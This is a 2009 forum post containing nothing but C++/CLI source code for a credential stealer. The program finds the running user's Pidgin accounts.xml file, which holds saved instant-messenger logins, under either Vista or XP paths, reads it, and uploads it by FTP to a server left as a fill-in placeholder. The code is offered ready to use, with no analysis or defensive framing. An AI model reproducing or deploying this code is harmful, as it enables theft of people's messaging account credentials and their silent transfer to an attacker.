Gonzalez Posted September 25, 2009 Report Posted September 25, 2009 #include "Common.hpp"// *********************************************************** using namespace System ; using namespace System::IO ; using namespace System::Net ; using namespace System::Windows::Forms;// ***********************************************************String^ GetOSName(){ OperatingSystem^ osInfo = Environment::OSVersion; String^ osName; switch( osInfo->Platform ) { case PlatformID::Win32NT : switch( osInfo->Version->Major ) { case 5 : if( osInfo->Version->Minor == 0 ) osName = "Windows 2000"; else if( osInfo->Version->Minor == 1 ) osName = "Windows XP"; else if( osInfo->Version->Minor == 2 ) osName = "Windows Server 2003"; break; case 6 : osName = "Windows Vista"; break; } break; default: osName = "Unknown"; } return osName;}// ***********************************************************int main( array<System::String^>^ args ){ try { String^ AccountsXML; if( GetOSName() == "Windows Vista" ) AccountsXML = "C:/Users/" + SystemInformation::UserName + "/AppData/Roaming/.purple/accounts.xml"; else AccountsXML = "C:/Documents and Settings/" + SystemInformation::UserName + "/Application Data/.purple/accounts.xml"; FileStream^ file = gcnew FileStream( AccountsXML, FileMode::Open ); array<Byte>^ buffer = gcnew array<Byte>( file->Length ); file->Read( buffer, 0, buffer->Length ); file->Close(); String^ ftp_path = "ftp://**YOUR_FTP_SERVER_HERE**/public_html/"; String^ username = "**USER**"; String^ password = "**PASS**"; FtpWebRequest^ request = dynamic_cast<FtpWebRequest^>(WebRequest::Create( ftp_path + Path::GetFileName( AccountsXML ) )); request->Method = WebRequestMethods::Ftp::UploadFile; request->Credentials = gcnew NetworkCredential( username, password ); request->UsePassive = true; request->UseBinary = true; request->KeepAlive = false; Stream^ regular_stream = request->GetRequestStream(); regular_stream->Write( buffer, 0, buffer->Length ); regular_stream->Close(); } catch( Exception^ e ) { MessageBox::Show( e->ToString(), "An Error Has Occured:", MessageBoxButtons::OK, MessageBoxIcon::Exclamation ); return EXIT_FAILURE; } return EXIT_SUCCESS;}// *********************************************************** Quote